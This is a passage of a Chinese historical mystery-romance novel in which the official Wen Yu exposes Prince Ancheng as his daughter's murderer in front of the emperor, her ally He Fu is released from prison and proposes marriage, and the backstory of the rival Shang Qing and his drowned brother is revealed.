温余知道,她觉得对不起羌白。
“我骗了她,害了她,我甚至不知道他日后会怎么样,会不会出事,能不能活着回到且末,我……对不起他……”
温余不会安慰人,只能静静看着她,羌白的悲剧确实是因为她而起的。
宋衫又说了好一会儿才停下来,温余递上一杯水,道:“有些凉了,稍稍喝一口润润嗓子。”
宋衫接过茶杯喝了一口,随后她清清嗓子,道:“我有时真的很羡慕圣阳。同样身为郡主她却能活得那般舒心,那般自在,而我只能依附他人。”
“我多想像她那样,自由自在的……”
提到圣阳,温余忽得想起一事,“你那日给我的香囊,可是与安成王有关?”
宋衫顿了顿,很快她便收起了悲伤的情绪,看向温余。
“我这些日子也查到一些东西。”
宋衫忽得严肃了起来,“你,查到了什么?”
“圣阳的死,与安成王有关,是吗?”温余盯着宋衫,直觉告诉她,对于此事,宋衫绝对知情。
果然,宋衫周身一震,“你是如何查到的?”
温余没有立刻回答她,而是转身走向床榻在床下拿出一个白玉盒子,正是她那日在圣阳院子里的树下挖到的。
她将盒子轻轻放在桌上,看向宋衫,原本和善友好的笑此时竟变得有些强硬,“或者换句话说,圣阳的死不止是与安成王有关。”
“圣阳的死,就是安成王一手策划的。而你,当时和歌阳侯一起前往安成王府赴宴但因误饮烈酒中途离席的安乐郡主,正是这件事的目击者,对吗?”
93. 毒牙
宋衫很快收起了诧异的神情,避开温余的目光,“你既然已经知道了,又何必再多此一举呢?”
“因为证据不够啊,我差人证。”温余一只手随意地将那白玉盒子转了几转。
宋衫似乎有些抗拒,此事背后还不知道要涉及多少人呢,若是她就这般明牌站队也不知道会不会让自己也陷入险境。
她自然不愿意去冒这个险的。
温余也早料到她会这么想,那夜特地来送香囊提醒却未明说,说明她有给圣阳以清白的想法但还是被拘束着,担心自己和家族的安危,这也是人之常情。
“我可以向你保证,你若愿意帮我作证,我定会保你安然无恙。”温余坚定道。
宋衫权衡片刻,反正自己已经破罐子破摔了,也不差这一点。于是,她便轻轻点点头,“好。”
听到她愿意作证,温余也放松了些。
宋衫这才看向温余手中拿着的那个盒子,问道:“这是什么?”
“证据,很重要的证据。”温余唇角漾起一个势在必得的笑。
一个就算不能证明贺扶清白也能将安成王弄死的证据。
忍了这么久,总算能好好的对簿公堂了。
念此,她唇角的笑更大了一些,指甲在白玉盒子上一下一下敲打,发出扣扣的声音,一声一声在打更声中穿梭,已经是三更了。
……
次日一早下朝后,温余动身前往御书房,皇帝已早早在堂上端坐等候,安成王也听召前来,站在堂下看着温余缓缓走入殿内。
他的眼神中带着探究,似乎在猜测温余会带来什么证据。
温余跪在堂中一叩首后,皇帝开口问道:“温卿说圣阳的案子有了线索,那朕便好好听听温卿的推测。”
“启禀陛下,臣已知晓杀害圣阳郡主并且栽赃于贺大人的究竟是何人。”温余正声道。
“哦?这便知晓了?”皇帝似乎很是惊讶,唇角带了些不明地笑意,“那你告诉朕,是何人?”
温余抬头一眼,忽得有些诧异,她刚刚若是没看错,皇帝似乎暗暗向安成王瞥去了一眼。
他,也知道?
见温余不说话,皇帝再次开口,“温卿为何不说?莫不是担心会被报复?大可不必这般忧心,直言便是。”
温余还是先压下心中猜疑道:“杀害圣阳郡主的不是旁人,正是此刻在堂中的,圣阳郡主的亲生父亲,安成王殿下。”
安成王看向温余,轻蔑一笑,“温司务所言简直是无稽之谈,虎毒不食子,我怎会杀害自己的亲女,去嫁祸一个与我毫无关系的贺扶?我看你是护主心切,得了癔症。”
“确有虎毒不食子一说,但安成王殿下你这只虎不但伤子食子,还要将毒牙嵌入她的脖颈,将她碾碎。”温余对上安成王的眼神,没有丝毫惧怕。
这时,安成王也跪在堂下,拱手道:“温司务空口无凭,还望陛下明鉴。”
皇帝也看向温余,问道,“温卿说安成王对自己亲女痛下杀手,可有证据?”
“自然有。”温余铿锵道。
“什么证据?”
温余拿出自己这些日子搜集到的证据呈上,她道:“事情还要从那日我与圣阳郡主在怀剑镇说起,我二人为调查镇中疑案前往山中破庙,未曾想却遇到了一群黑衣人,手持且末弯刀与我同贺大人在崇安所遇相同。”
“圣阳郡主与那为首之人缠斗后消失的林中,据歌阳侯府之人所说,当日的圣阳郡主负伤昏迷,是他们带圣阳郡主回府的。”
“若是他们没有撒谎,那负伤的圣阳郡主在府中休息,而我却在屋中的香炉中发现了这些香粉。”
闻言,皇帝拿起拿油纸包轻嗅便得知,“西域香粉,这不是安成王献上的吗?”
安成王道:“没错,此为臣在西域寻来的香粉,名为茯神。”
“没错,想必安成王也知晓这茯神香有一特点,其中有安神的药材为引,若是用量过大便会使人浑身无力,无法动弹。既然此物珍贵,只有安成王本人能够接触,不知为何会出现在圣阳郡主的屋中,而且恰好是在她受伤的那日?圣阳郡主受伤,这香想必不太合时宜吧?”
安成王哼笑一声,“单凭这个?就说是我杀的阿钰?未免太过草率了吧?”
“不草率。”温余道,“安成王曾借探望圣阳之名前去她屋中,我便疑惑怎么就正巧碰上了贺大人刺杀圣阳郡主?这未免也太过巧合太过奇怪了,若是贺大人当真有心杀害圣阳郡主怎会这般容易就被你撞到?而且,你究竟看到了什么,现场的事情也只有你一人知晓,安成王说我的推测草率,怎的不说你的说辞也很草率呢?”
温余坚持,“你既指摘贺大人没有证明自己无罪的证据,那我今日便斗胆问一句,你可有证明不是自己杀害圣阳的证据?”
“我自小看她长大,她是我亲生女儿,母亲早亡我对阿钰的疼爱所有人都有目共睹,我不会杀害亲女。”安成王肃然道。
“你会,你杀了。”温余反驳道。
“谁看到了!”
“确实有人看到了。”温余笑道。
安成王眼睛眯了起来,“哦?你倒是说说,谁,看到了?”
“当然与歌阳侯一同赴宴的安乐郡主,她不但看到了,还能证明那日为首的黑衣人正是你们安成王府的人。”
“安乐?”皇帝挥挥手,召安乐进来。
宋衫进来后看了跪伏着的安成王一眼后再温余身边跪下。
“温卿说,你看到了,是安成王杀了圣阳郡主?”皇帝渐入佳境,双瞳之中全然是赏戏的惬意。
宋衫迎上皇帝的目光,将那日所见通通说出。
那日她本是要外出醒酒,没想到不识路走到了圣阳屋内,正当她要离开的时候却见安成王负手站在圣阳窗外,隐没在黑夜中竟是让屋内的两人都没有发现。
带着好奇,她便走上前去多看一眼,但她还未反应过来,便发觉屋内烛火忽得灭了一瞬,原本站在屋外的安成王也不翼而飞,但透过窗,她看到一抹银光在屋内一闪,下一瞬那烛火竟忽得又亮了起来。
安成王又在这时忽得出现在屋前,接下来便是之后的闹剧。
这般身法
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,就算是说有人冒充安成王怕是也没有人会相信。毕竟这可是安成王早年成名的利器,飞身雁。
听后,皇帝看向安成王,意味不明地点了点头,“那,他为什么要杀亲女嫁祸贺扶呢?”
“安成王对亲女痛下杀手与一桩旧事有关。”温余道。
“别卖关子了,温卿还是一口气说完较好。”皇帝好整以暇地看着温余。
“是,陛下。”温余道,“因为安成王要隐瞒的是十五年前的绍王府旧案。若是我没猜错,那被追查许久的剑兰花纹组织,安成王怕也是其中一员吧?”
安成王浓眉敛了敛,没有说话。
“如何说?”皇帝忽得正色起来。
“其实除过崇安与怀剑镇两次外,臣与贺大人还曾与那黑衣人交过手,在湖州之时,贺大人还曾伤过他的一条腿,那伤口想必还未消除吧?不知,安成王能否让我一看呢?”
闻言,安成王暗暗摸向了自己的右腿。
皇帝侧目,眼神示意陈总管,他颔首,走下高堂将安成王的裤脚卷起,安成王竟也没有反抗。
果然,在他的右腿上发现了一道狰狞的伤疤,如长虫一般爬在他的腿上。
“安成王还有什么话可说吗?”温余看向他,开口问道。
安成王依旧垂着眼帘,淡淡道:“无话可说。”
“除此之外。”温余又道,“臣还要证明,贺大人并未私通且末。真正私通且末的,也是安成王。”
见温余又呈上一个白玉盒子,皇帝立刻让陈总管去拿,只见盒子中放着的是一枚小巧精致的钥匙。
“这个盒子是臣在圣阳郡主房外寻到的,想必那日郡主寻贺大人过去并非是说婚约一事,而是想告诉他自己父亲的恶行。私自与且末相勾结,简直重罪!”温余一字一句道。
“还请陛下派人前去安成王府搜查。”温余一叩首。
皇帝轻轻叹了一口气,“没想到啊没想到,你陪了朕这么久,竟然会做出这样的事情,既如此,你可认罪?”
安成王似乎没有多少辩解的意愿,叩首道,“臣认罪。”
一案审完,皇帝长长舒了口气,站起身来道,“命人将他压入天牢,勾结外邦,杀害亲子,还敢诬陷朝廷命官,数罪并罚,等他将所有的事情都说清楚了,斩。”
说罢,皇帝拂袖离去。
陈总管派人压走安成王,宋衫也和他们一同离去。
温余出了御书房后走在路上,忽得觉得有些奇怪。
这似乎有些,太顺利了?而且安成王背后还有章执,若是章执不除,那还是后患无穷。
虽然圣阳的案子今日便算是告一段落,但温余心中还是很乱。
总感觉还有什么事情没有做完,她还漏掉了些什么。
会是什么呢……?
疑惑间,她下意识地走上了前往坤宁宫的路,但很快她又反应过来。
安成王败露了,那贺扶不就清白了?那就是说……
她终于能光明正大的去见贺扶了!
心中泛起万分喜悦,她转头就往天牢奔去。
94. 思卿(一)
马车咕噜咕噜往前走着,温余坐在车内挑起车帘看着逐渐后退的宫墙,心中雀跃仿若雨天跃出池塘的鲤鱼一般。
马车在天牢外停下,温余几乎是跳下了车,这些日子在坤宁宫学的礼仪顷刻被抛在脑后,她一心只有将要见到贺扶的欣喜。
原先还是快步前行,但走着走着不知怎的就变成了跑,耳边有寒风吹过,吹起鬓间的发丝,就连梳得整齐的发髻都有些乱了。
不远处,天牢大门打开,三两个狱卒自门内走出,身后跟着的是穿着素衣的贺扶,清瘦非常,虽有些狼狈但却不掩其清秀俊逸。
立于门前,贺扶向送自己出来的狱卒行了一礼,回首向出口看去,只见一抹翠色沿着一条被扫开的路向自己奔来,身侧厚雪被堆作一座座小山,屋檐上也覆盖着皑皑的雪,而那抹翠色却如同春日新发的绿芽一般,直直撞入他的心口。
“贺大人!”温余在离贺扶十步外缓缓停了下来,跑得太急,还不停喘着气。
贺扶唇角勾起一抹笑,与她对视许久后快步向她走去。
走近,温余忍不住笑意,但一句贺大人还未出口便被贺扶猛得拉入自己怀中。
鼻尖撞上了贺扶有些削瘦的胸膛,不由发酸。
“贺大人,我和尚卿的婚约没解除,这有些不妥吧?”周围还有人,温余想要从贺扶怀里挣脱出来,但不知贺扶使了多大的力气,竟是岿然不动。
分明都瘦成这样了,哪里来的这么大的力气?
贺扶感受到温余的挣扎后没有放开她,而是环得更紧了,“不用管。”
“啊?”温余挣扎的动作都顿住了,她解释道,“虽然洗脱了你的嫌疑,但安成王的事情还没结束,你还不能完全恢复自由之身,陛下也说了你只是能离开天牢,不是完全……”
贺扶强硬地打断,“我说了,不用管。”
温余这下彻底愣住了,贺扶什么时候变成这样了?而且,不用管是什么意思?
他有办法还是这件事就这么结束了?可是她才刚刚碰到剑兰花纹的头目,这可不能放过这条线索!
温余还想再说,一道带着嘲讽意味的声音便闯入两人耳中,“师兄刚刚出了天牢便和我的王妃卿卿我我,怕是有些不妥吧?”
是尚卿……
果然,有关贺扶的事情他从来不会缺席。
温余想要转头,但却被一只手按了回去。
贺扶对尚卿轻轻一笑,“未曾行三拜之礼怎的能算夫妻?”
“可我们已经订婚了。”尚卿道。
“成亲可以和离,订婚就不能取消?”
贺扶这笑中带刀的语气让在场之人都沉默了许久。
“好了,我既已出狱那你二人的婚约也便不作数了,师弟你也可以走了,我还有话要和阿蓁说。”
尚卿笑了,“圣上金口玉言,你一个戴罪之身一句不作数就不作数了?你莫不是在牢里把脑袋给蹲傻了?这般不顾帝威吗?”
“陛下那边我自会去说,不劳师弟费心,既师弟不愿离开那我便先带着阿蓁走了。你随意。”
说罢,贺扶牵上温余的手绕过尚卿离去,擦着他走过的那一瞬,温余看到他唇边的笑意更甚,丝毫没有被冒犯的怒意,反而有一种……得逞的爽快?
坐上马车,温余立刻掀开帘子去看车外,尚卿依旧还站在原地,不过不知何时转过了身,双眼盯着马车的方向,虽然看不清神色,但温余觉得他一定是笑着的。
“真是奇了。”温余疑惑道。
忽然,一只骨节分明的手自上压下,盖上了车帘。
温余转头,只见贺扶离自己极近,她自见到贺扶开始便觉得他不对劲了,她心道可是在牢里待傻了,竟是连语气举止都变了。
“贺大人,我们现在要回绍王府吗?”
贺扶反问道,“除过绍王府还有地方去吗?”
不对劲,十分有十二分的不对劲。
贺扶何时这么说过话?
见温余变得呆愣愣的,贺扶忍俊不禁,坐回位上,笑问,“吓到了?”
温余诚实点头。
“你刚刚的举止,和对尚卿说的话,完全不想你之前的模样,你不会是被牢里的犯人给教坏了吧?”
“哪有那么容易教坏?而且怎么算是坏?说话利些就是坏吗?”贺扶看着温余,向她解释,“再说,渡凌可不会觉得冒犯,反倒很开心呢。”
“为何?”温余问。
“在他心里我是丰碑,一个无论发生什么事情都不会失控的人。和别人吵架不是最气一拳打在棉花上吗?所以他气我,恨我,我太过平静让他所有的情绪都变成了反例,他要的、等的就是我生气会大吵大闹、伤心会嚎啕哭泣、嫉妒会扭曲怨恨。”
“那你方才是刻意做给他看的?他的目的达到了,就开心了?”温余心道这未免有些太幼稚了,像是小孩子家的小脾气,虽然尚卿一直都是这样就是了。
“不是。”贺扶否定了。
“啊?”温余顿道。
“不是刻意做给他看的,我本就是这样。”贺扶身体前倾,伸手帮温余掩住漏了缝隙的帘子,防止窗外冷风吹入。
“我刚刚确实是想这样做,确实是想说,你们不算夫妻,也不能做夫妻。”
温余感觉脑袋都慢了起来,她问:“为何?”
“因为我要娶你为妻。”
贺扶此话一出,温余只觉得耳边似有惊雷炸开,脑子彻底不动了。
就这么,直接的、简单的、没有丝毫掩饰的……说出来了?
贺扶很贴心地等她反应过来才继续说,“我之前总觉得情绪这种东西是要隐藏起来的,特别是不好的情绪。因为这东西会让身边的人感到困扰,生气了他们得小心翼翼,害怕了他们得分心照顾,伤心了他们要想法子安慰,这太麻烦别人了。至于想嫉妒、愤恨这些有些太重了,太为人不齿了。”
“所以,我一直想着能对旁人隐瞒多些,再多些。让所有人认为我是一个可靠的人,是一个能自立的人。这样,就能交到更多的朋友。”
说到这里,贺扶的眸子暗了暗,温余似乎也明白了他此刻的情绪。绍王府灭门后,他便一只是孤身一人,直到遇到启蛰才有了人
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陪伴。
绍王府冷清,所有人都认为是贺扶不喜喧闹,可怎么会有见过喧闹繁华后真的喜欢独自一人面对一切呢?
贺扶,一直想要的是家人,是朋友,真正的朋友啊……
“所以,我一直想着要对你隐瞒多些,再多些。可以让你也觉得我是一个很可靠的人,是值得和你在一起的人。但现在,我不这么想了,我不想隐瞒了,至少是不想对你隐瞒了。”
贺扶郑重道,“我想把我的一切都告诉你,好的、坏的、不堪的都想告诉你。你明白吗?”
温余对上贺扶带着恳求的目光,缓缓地移动到他身边,用自己的大氅围住了他,让他能靠着自己,“嗯,我明白。”
贺扶感受着还带着温余体温的大氅,暖意在周身围绕。
就这样两人依靠着对方,贺扶声音很轻柔仿佛在讲一个个故事一般,从他对章执次次小考第一而自己只能得第二的执念到唯一一次狠下心来翻墙买萧谱却被抓到时心中的悲恸,再到得知章执欺骗时的愤恨,他恨不得揪着他的领子去质问他为何。
“其实,你那日来狱中看我时,我本是很开心的。可是得知你和渡凌订婚时,我觉得好恨。恨自己不够周全,竟这般就中了旁人的诡计,若是能够在警惕一些会不会这些都不会发生,你就不用顶着嘉亲王妃的名头四处奔波。”
“你是心疼我奔波呢,还是不爽嘉亲王妃这个称号?”温余转头问道。
“都有。”贺扶答。
温余脆脆笑了几声,“不就是个称呼嘛,我不喜欢他他也不喜欢我,这有什么好气的?”
贺扶欣然道:“因为我心胸狭隘。”
温余笑得更大声了,笑过后,贺扶缓缓牵起了她的手,十指紧扣。
“所以,我要把我的一切都告诉你,我想娶你,永远站在你身边。”贺扶语气极其认真,“我心悦于你,三媒六礼、八抬大轿,我要娶你。”
“你可愿,嫁于我这个心胸狭隘,装模作样,还表里不一的人?”
温余对上他的双眸,那里面盛着几乎要溢出来的爱意与真切。她笑道:“愿意,但是……”
她又凑近了贺扶耳侧,道,“我要当官!”
“做官与嫁人并不冲突,我自然不介意,能看你在我身边变得更好我也很开心。”贺扶不解道。
“你真的不介意?霁尘君与首辅大人似乎就是因为这个而不快的。”温余问道。
“当真,如有谎话……”
温余立刻接道,“天打雷劈!”
贺扶觉得好笑,那话本子里的女子不都是听到这誓言要捂住男子的嘴让对方不要乱说吗?怎么到了温余这里她倒是抢先一步,还说得那般欣喜?
“好,天打雷劈。”贺扶温声道。
温余又笑几声后,轻轻靠在贺扶肩上,但又很快直起身,“你靠我。”
贺扶无奈道,“我是男子。”
“男子也得有个肩膀靠,更何况你现在可是伤号!来吧!”温余动动肩膀示意贺扶快些。
贺扶暗暗叹了一声后,自若地斜靠在她肩上合眼小憩。
95. 思卿(二)
夜深,弯月冷冷悬挂在天边,院内的雪已经化开了不少,露出光滑的石板地面。
无人,无声,寂静非常。
尚卿今日的心情非常好,下人们都看得出来,但却没有人敢上去问。毕竟这位嘉亲王向来独来独往,无人与他亲近也无人敢与他亲近。
听闻他订下婚约的当日,府内众人皆是满腹的疑惑与诧异,但更多的,却是好奇。
好奇那位未来的夫人究竟是什么样的人,竟能得他青睐?
尚卿一个人站在窗边,远远眺望着月色,发出一声满意的喟叹:还是弯月看着舒服。
看了很久,他才侧目去看躲在院子一侧窃窃私语的家丁丫鬟们,被他这么一盯,那一群围作一团的家仆立即散作鸟兽,有拿着扫帚在干净的地上乱扫的,有拿擦桌子的帕子擦墙的,还有些实在不知要做什么背对尚卿蹲在地上装死的。
见此场景,尚卿轻笑一声,“我今天心情好,你们不用待在这儿了。”
真的……?
家仆们都愣了一下,有几个大胆的悄悄回头看了尚卿一眼,见他确实心情好,甚至连嘴角都弯起来了,便缓缓松了口气。
等那些人尽数退下,尚卿才出了房门。独自走到一间被隐没在小院角落的屋子前,正要伸手推门,可他却忽得停住了。
顿了一会,他换上了一张更为张扬的笑脸,推开门走了进去。
屋内没有点灯,也没有窗户,甚至连借着月光看清屋内摆设都做不到。
这屋子狭小逼仄,不像是能供人居住的,正常人应该不会放一间这样的屋子在自己寝屋旁边。
尚卿轻轻哼着小调,不紧不慢地从一旁架子上拿出火折子将最近的蜡烛点燃。
借着微弱的光亮,他又往前走了几步,走到了屋子的正中央那里放着一个蒲团,他绕过蒲团往门的正对方向走去。
上前点燃了桌上的两支蜡烛,这屋内的全貌才完全展现出来。
只见一座牌位阴森森摆在桌上,上面写着“慈父尚荣之灵位”。
尚卿吹灭了火折子,回过身闲散地盘腿坐在蒲团上,这蒲团本是放在此处用来跪拜的。他心想,若是尚荣在许是要沉着脸怒斥自己不知礼数,大逆不道。
想到这里,他轻笑一声,更大逆不道的事情他都做的,这点小事也算不得什么。
他抬眼看向那灵位,眼中带着挑衅和愉悦,仿佛真的是在和灵位上的人对视一般。
我的好父亲,你若是还在,看到贺扶如今的模样怕是要心疼死了吧?可是,你已经死了,而你连正眼都不愿愿意看一眼的儿子,坐上了你的位置。
……
“所以,他为何非要和你比较?看你落魄?事出必有因,因为什么事情,还是因为什么人?”温余和贺扶一起整理好了许久未曾有人住过的屋子后,此刻正闲坐喝茶。
忽得,温余便问起了尚卿的事情。
贺扶口干,本想端起茶杯饮一口润润喉,没想到温余忽然发问便立刻放下了杯子,声音有些微微沙哑,他答道:“若说最开始的原因怕是要追溯到十四年前。”
“十四年前?就是绍王府灭门后一年?”温余两只手叠放在桌子上,下巴搭在上头抬眼看着贺扶。
贺扶轻轻点头,“那时先将我救出的原是师父,他本想将我待在身边,当做亲子一般管教,奈何当时东南大乱,陛下派他前去主持大局。我当时太过年少不便带着,便想了个法子将我托付给前任嘉亲王代为照顾。”
温余悟道:“原来你们不是在幸丞相那里认识的。这么说你们还在一起生活过一段时间?”
“没错。”贺扶答道,“当时我刚刚经历巨变,整个人像是被阴云笼罩一般,不太爱说话也不太和别人待在一起。一天到晚就把自己关在屋中,什么都不做,就是发呆。”
温余沉默着,她竟没想到贺扶还会有这样的一段时日,在她眼中贺扶永远是不紧不慢,泰然自若的。不过转念一想,那时的贺扶也不过七八岁,经历这样的事情就算是大人也难免阴郁,更别说还是孩童的贺扶了。
贺扶见温余神色变了变,伸出手帮她将皱起的眉抚平,接着道:“先嘉亲王是一位很和蔼的长辈,他与我父亲年少便相识,对我也十分上心。他担心我日日在屋里闷坏了,但又怕强行带我出去会让我感到不适便日日端着饭食来我屋中陪我一同用餐。”
“这么说来,那时的尚卿便觉得你比他更受重视了?”温余换了个姿势,双手撑着脸颊。
贺扶点头却又摇了摇头,“其实,先嘉亲王并非只有尚卿一个儿子。尚卿是次子,他的长子名为尚俢,不过十五便习得一手好武功,许多和先嘉亲王交好的人们都赞他能传承父亲的威望,将来定也是一位名将。”
说罢,贺扶轻轻叹了一声,“那时的尚卿不善习武,虽然现在他们武功也算不上顶尖,他似乎天生就不适合习武,他与人为善,长袖善舞,相较于武功,他应当更善于做一个玲珑的文官。可是孩童嘛,自然是要执拗些的。”
“他当时拼了命的想要让自己跟上兄长的步伐,日夜勤勉,就想让父亲能够多看自己一眼,但是……尚俢却太过耀眼,以至于无论他如何勤奋,进步多少都不会有人在意。没有人会在意一个平庸者的进步,他们只会追随太阳,赞美太阳。而尚卿,却是月亮,在无人在意的角落,独自发出自己的无人在意的声音。”
“执着于父亲的目光,但却始终无法如愿,怪不得会养成现在的性子。”温余也觉得有些难过。
“我第一次见到他的时候,他就是在练剑。那日先嘉亲王带着我还有尚俢兄一同前往芬园赏花散心,尚卿得知后便提早在那里待着,想着等父亲过来后能够在他面前舞剑,让父亲看到自己的进步,让父亲将集中于兄长的目光也能放在自己身上一刻。”
温余深谙这话术,她接道:“接下来就是‘但是’了吧?”
贺扶似乎被她这话逗笑了,原本沉闷的气氛也变成轻松了些。
“但是,他苦练许久却在那日掉了链子,一时不慎进失足摔进了池塘,那池塘很浅,但不会水的人猛然跌落却很难站起。先嘉亲王见自己的儿子在还不及他腿深的池塘中惊慌失措,一时气愤失望,竟是都没有出手将他救起便转身离
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去了。”
“太过分了,再怎么样都是自己的儿子啊!”温余愤愤垂桌。
贺扶面前茶杯中的水被晃出几滴,他一边拿出帕子轻轻擦拭一边道:“那日是我救的他,从那次过后我二人也相识,年少加上相助,我二人很快就熟识了。”
“不知是不是被伤到了心,那日过后他就很少再勤奋习武了,我本以为他放下了,可是后来我才知晓,他没有放下,而是将那种情绪埋进了更深处。”
“怎么了?”温余有预感,接下来贺扶要说的事情一定会很震惊。
果然,贺扶幽幽开口,言语见似是惋惜,“一次踏青,尚俢有意开解他,于是便借摘野果的由头和尚卿单独外出,结果当时只有尚卿一人回来,浑身湿漉漉的,随行众人都很担心,先嘉亲王更是握住他的肩膀质问尚俢去了哪里。尚卿说,他掉进了河里,被冲走了。只有他自己从河中爬上来,回来了。”
“这是意外还是……”温余没有说下去,那时的尚卿不过十岁,若是做出那样的事情,未免有些太邪气了。
“落水确实是意外,但落水的是尚卿。尚俢为了救他跳下河去,河流湍急,他好容易抓住尚卿但尚卿却在惊慌失措之下死死按住尚俢,借着尚俢他才勉强碰到河岸,但在他上岸后却没有管在河中挣扎的尚俢,只一人回来了。当众人再次找到尚俢的时候,他已经被冲到了河的下游,没了气息。”
“这是尚卿说的?”温余神色复杂。
“不。”贺扶否定道,“当时尚卿说的是兄长不慎落入,他救援无果后才回来求助的。这些东西都是那恰好在那附近山间踏青的一队富贵子弟所说。”
“这是真相吗?那些人不会骗人吗?”温余觉得有疑。
“那些人连尚卿是谁都不知,怎么会凭空诬陷?而且在他们指认后,尚卿也承认了。自那时起,父子二人才是彻底离心,先嘉亲王自请外战,三年后战死沙场。”
听完贺扶的讲述,温余感觉心情愈发复杂,那么小的孩子竟会有那般的恶心思。
这未免也……太可怕了。
“如今想来,尚俢兄着实可惜。”贺扶饮了一口茶,干燥的喉咙总算是舒适些了。
而另一边,尚卿还是坐在蒲团上,与面前的灵位说着话。
“我当时以为尚俢死了你就会把目光分给我一些,我不求你待我如他一般,只求你能正眼看我,哪怕只有他的万分之一,我也欣喜,可没想到,他死了,你却宁愿将一切倾注在一个外人身上你都不愿意看我一眼!”
“我就那么不堪吗?你不是不愿让我继承你的王位吗?如今,我就坐在这个位置上,怎么样很气愤吧?你出来打我啊,骂我啊,你有本事来啊!”
尚卿发出一段略为诡异的笑声,“可是,你已经是一个死人了……”
窗外月色如练,轻轻的脚步声在院中响起,一步一步向这小屋边走来。接着,吱呀一声门被推开了。
尚卿没有回头就已经猜出了来人的身份,他收起了笑,声音归于平淡:“你来了,很久都没见到你了,还以为你怕被贺扶发现,偷偷躲起来了……”
96. 重逢
“既如此那我就先回去了,明日我去宫中同陛下说退亲的事情。”温余站起身要走,贺扶也跟着站起来。
“我也去。”贺扶道。
温余直接拒绝,“此事本就是我同尚卿的事情,与你无关也就不麻烦你了,而且你才刚刚回来,身上的伤还没有完全好,还是好好休息,我回来时给你带好吃的。”
听着温余哄孩子似的语气,贺扶心中泛起些不爽来,他走上前微微俯身直直对上温余的眼睛,“你在哄孩子?”
温余这才反应过来,这些日子在坤宁宫中和尚熙说话说惯了,竟是对贺扶也用这般语气。她揉揉鼻子,“不小心说惯了,但你确实得好好休息,我一人又没事,宫里我现在还是很熟的,你不用担心。”
贺扶笑而不语。
温余愣了一下,道:“你不会是不想让我和尚卿待在一起吧?”
贺扶唇边的笑意没有落下,点头。
这模样不似吃醋,反倒像是小猫小狗讨摸。于是温余抬手在贺扶发顶摸了摸,柔软的发丝让温余惊了一下。
手感竟然还不错?
贺扶也被她这动作一惊,就连脸上的笑也停滞了一瞬。随后,他无奈笑道:“我又不是孩子。”
难道不是要这个?温余收回手,“那你这是什么意思?吃醋?但你又笑着,倒像是装的。”
“就是装的,你不明白吗?”贺扶似乎有些失望,“那算了,终究是落花有意流水无情,可叹可惜啊。”
他背着手转过身,只留给温余一个落寞的背影。
温余歪了歪身子去看他,贺扶也瞥见了她的动作。温余从左边看他便往右侧身,温余从右边看他又往左侧身。来回看了几次,温余不动了。
似乎是感觉不到温余的动作,贺扶暗暗往身后瞥了一眼,只见温余摇着头转身就要走。
他转过身伸出手按住了温余开到一半的门,这动作行云流水,不过一眨眼便站在了温余的面前。
温余佯装无辜,“不是贺大人先道落花有意流水无情吗?可惜小女子我是那痴缠的落花,您却是无情的流水,既如此,我走便是。”
见温余就要绕过自己离开,贺扶终是败下阵来,求饶道:“好了好了,不闹了。”
温余还兴致未尽,继续演道:“闹?我何时闹过?何时敢闹?”
贺扶更是无奈,只好遂了她的愿,直说道:“好不容易见面,不能有些其他的吗?”
“其他的?”温余歪了歪头,装模作样想了半晌才哦的一声,恍然大悟。
清脆的声音响起:“不要,我要去休息了。”
贺扶似是不甘,放在温余身侧的手还没有拿开,两人沉默对视许久,贺扶才无奈放下手打算放她离去,“好吧,是我着急了,你既然累了就先去休息吧。”
看来还是不能操之过急,得慢慢来才行。
贺扶转过身正在心中暗暗告诫自己,却没有注意到温余并没有开门离开而是哒哒绕到了他面前。感受到面前的阴影,他从思绪中抬起头,一点温软的唇就直接的印在了他的侧脸上。
轻飘飘的,像是微凉的玉一般。
贺扶愣了好大一会儿才回过神来,他唇角的弧度似乎有些压不住,“你不是说累了吗?不去休息?”
“又不耽误。”温余笑道,“现在可以去休息了。”
说也说完了,亲也亲过了,温余一步三回头的走到门口正准备开门,门却猛得从外被推开,硬生生装上了她的鼻子。
鼻子一阵酸爽,温余倒吸一口凉气,抬头,只见启蛰正红着眼眶站在门外,身上只穿了一件寝衣,似乎是赶路太快,许多枯叶残雪都在他发顶安了家。
温余揉着鼻子,“你怎么不敲门?”
启蛰没有回答温余的话,伸出一只手来把她推开后直直向贺扶跑去,边跑边哭:“大人,大人啊!大人……您还活着太好了……我还以为我再也见不到您了……哇……”
贺扶被迫接受着这个用力又强硬的拥抱,轻轻拍了拍启蛰的背,“好了别哭了,我这不是还好好的吗?”
启蛰哭得更大声了,“您都瘦了!”
哇哇的哭喊声震天响,温余忍不住捂住耳朵,但启蛰的哭声简直如魔音贯耳,还是能透过手指的缝隙传进耳朵。
贺扶一边帮他拿下头发里的树叶雪块一边柔声安慰着他。等到他的哭声止住,头发上的异物也被贺扶清理干净了。
启蛰还是抱着贺扶没有松手,好像一松手他就会跑了一般。
温余看不下去,走上前想要拉开他,道:“行了行了,再抱下去你家大人就要被你给勒死了。”
启蛰这才恋恋不舍地放开手,但还是对温余道:“呸呸呸,说什么晦气话呢!呸掉,赶紧呸掉!”
温余见他一脸坚定,无奈学着他的样子呸了几声。
“大人,启蛰好想你啊。”启蛰撒娇道。
贺扶也温声回道:“我自然也想你,瞧,今夜这么冷,你怎么穿着寝衣就跑来了?若是患了风寒怎么办?”
启蛰这才感觉到自己的腿脚和胳膊有些微微发僵,“我这不是太想见到您了嘛。”
不知是为了转移话题还是什么,启蛰忽然叫道:“诶,大人你的脸怎么了?受伤了?!”
启蛰如临大敌,贺扶有些疑惑的摸了摸脸,看看手指,上面沾上了淡淡的红色。
贺扶当下就明白了这是什么,启蛰却更心碎了,他眼泪又要夺眶而出,“不是吧?我就知道那天牢鱼龙混杂什么人都有!定是有那些大胆的女流氓非礼了您!我……我……”
女流氓此刻正心虚地看天,似乎是下一刻就能吹一段心虚地口哨。
启蛰那模样悲愤有可恨,活像是被强嫁女儿的老母亲。
“不是这样的。”
启蛰一心沉溺于要将非礼贺扶的女流氓千刀万剐,对他的解释置若罔闻。
忽然,他静了下来,贺扶想终于能好好解释了,可下一瞬一只手就伸向了自己的领口。
他急忙抓住,问:“你要做什么?”
启蛰忍着泪水,道:“我要看看,她还有没有对您做什么……僭越之事。”
贺扶慌了,阻止道:“别,把手放开,我说了我没事,还有你打算怎么检查?你能检查出什么吗?喂,等等,阿蓁还在呢!”
听到温余,启蛰的动作停住了,贺扶终于松了口气,将被扯
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乱的领口整理好。
启蛰转过身看向温余,问:“你知道那女流氓是谁吗?我要杀了她!”
温余将目光从房顶移开,撩撩碎发道:“也许,我知道……?”
